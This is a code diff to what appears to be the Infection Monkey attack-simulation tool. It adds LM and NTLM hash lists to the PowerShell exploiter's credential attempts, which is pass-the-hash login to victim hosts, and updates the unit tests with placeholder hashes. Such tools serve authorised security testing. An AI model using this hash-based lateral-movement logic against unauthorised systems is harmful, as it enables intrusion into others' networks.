diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index c20580989..9d4b32e6b 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -55,8 +55,8 @@ class PowerShellExploiter(HostExploiter): credentials = get_credentials( self._config.exploit_user_list, self._config.exploit_password_list, - [], - [], + self._config.exploit_lm_hash_list, + self._config.exploit_ntlm_hash_list, is_windows_os(), ) auth_options = get_auth_options(credentials, is_https) @@ -117,20 +117,30 @@ class PowerShellExploiter(HostExploiter): logger.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}" + f"{creds.username}, Secret Type: {creds.secret_type.name}" ) - self.report_login_attempt(True, creds.username, creds.secret) + self._report_login_attempt(True, creds) return client except Exception as ex: # noqa: F841 logger.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, Error: {ex}" + f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" ) - self.report_login_attempt(False, creds.username, creds.secret) + self._report_login_attempt(False, creds) return None + def _report_login_attempt(self, result: bool, credentials: Credentials): + if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: + self.report_login_attempt(result, credentials.username, password=credentials.secret) + elif credentials.secret_type == SecretType.LM_HASH: + self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret) + elif credentials.secret_type == SecretType.NT_HASH: + self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret) + else: + raise ValueError(f"Unknown secret type {credentials.secret_type}") + def _execute_monkey_agent_on_victim(self) -> bool: arch = self._client.get_host_architecture() self.is_32bit = arch == WIN_ARCH_32 diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index da709ad04..4e5c98823 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] +LM_HASH_LIST = ["bogo_lm_1"] +NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] DROPPER_TARGET_PATH_32 = "C:\\agent32" DROPPER_TARGET_PATH_64 = "C:\\agent64" @@ -19,6 +21,8 @@ Config = namedtuple( [ "exploit_user_list", "exploit_password_list", + "exploit_lm_hash_list", + "exploit_ntlm_hash_list", "dropper_target_path_win_32", "dropper_target_path_win_64", ], @@ -33,9 +37,17 @@ class TestAuthenticationError(Exception): def powershell_exploiter(monkeypatch): host = VictimHost("127.0.0.1") pe = powershell.PowerShellExploiter(host) - pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64) + pe._config = Config( + USER_LIST, + PASSWORD_LIST, + LM_HASH_LIST, + NT_HASH_LIST, + DROPPER_TARGET_PATH_32, + DROPPER_TARGET_PATH_64, + ) monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + monkeypatch.setattr(powershell, "is_windows_os", lambda: True) # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but # it's necessary to avoid having to deal with the monkeyfs monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) @@ -141,3 +153,66 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter): success = powershell_exploiter.exploit_host() assert not success + + +def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.copy_file = MagicMock(return_value=True) + mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + + def allow_ntlm(_, credentials: Credentials, auth_options: AuthOptions): + if credentials.username == USER_LIST[1] and credentials.secret == NT_HASH_LIST[1]: + return mock_client + + raise TestAuthenticationError + + mock_powershell_client = MagicMock(side_effect=allow_ntlm) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + powershell_exploiter.exploit_host() + + assert { + "result": False, + "user": USER_LIST[1], + "password": None, + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[1], + "password": PASSWORD_LIST[0], + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[0], + "password": "", + "lm_hash": LM_HASH_LIST[0], + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[1], + "password": "", + "lm_hash": "", + "ntlm_hash": NT_HASH_LIST[0], + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": True, + "user": USER_LIST[1], + "password": "", + "lm_hash": "", + "ntlm_hash": NT_HASH_LIST[1], + "ssh_key": "", + } in powershell_exploiter.exploit_attempts